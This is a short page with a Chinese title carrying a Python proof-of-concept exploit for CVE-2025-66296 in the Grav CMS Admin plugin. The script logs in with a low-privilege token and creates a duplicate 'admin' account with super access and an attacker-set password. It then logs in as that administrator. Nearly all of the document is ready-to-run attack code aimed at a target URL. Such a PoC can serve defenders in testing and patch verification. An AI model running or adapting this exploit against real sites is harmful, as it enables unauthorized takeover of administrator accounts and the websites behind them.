CVE-2025-66296 Grav Admin插件用户名重复导致权限提升漏洞

# CVE-2025-66296 Privilege Escalation PoC # Affected: Grav CMS < 1.8.0-beta.27 # Type: Username uniqueness validation bypass leading to privilege escalation import requests import json TARGET_URL = "http://target-site.com/grav-admin" ATTACKER_TOKEN = "your-low-privilege-user-token" ADMIN_USERNAME = "admin" def create_duplicate_user(): """ Create a new account with the same username as an existing administrator. This exploits the lack of username uniqueness validation in Grav Admin plugin. """ session = requests.Session() # Step 1: Authenticate as low-privilege user with create permission session.headers.update({ "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" }) # Step 2: Create new account with admin's username payload = { "user": { "username": ADMIN_USERNAME, "password": "AttackerControlledPassword123!", "email": "[email protected]", "fullname": "Malicious User", "title": "Administrator", "access": { "admin": { "login": True, "super": True } } } } response = session.post( f"{TARGET_URL}/api/users", json=payload ) if response.status_code in [200, 201]: print("[+] Duplicate user created successfully!") print(f"[+] Username: {ADMIN_USERNAME}") print("[+] Password: AttackerControlledPassword123!") # Step 3: Login as the 'new' admin account login_data = { "username": ADMIN_USERNAME, "password": "AttackerControlledPassword123!" } login_response = session.post( f"{TARGET_URL}/api/login", json=login_data ) if login_response.status_code == 200: print("[+] Privilege escalation successful! Now logged in as administrator.") return True else: print(f"[-] Failed to create user: {response.text}") return False if __name__ == "__main__": create_duplicate_user()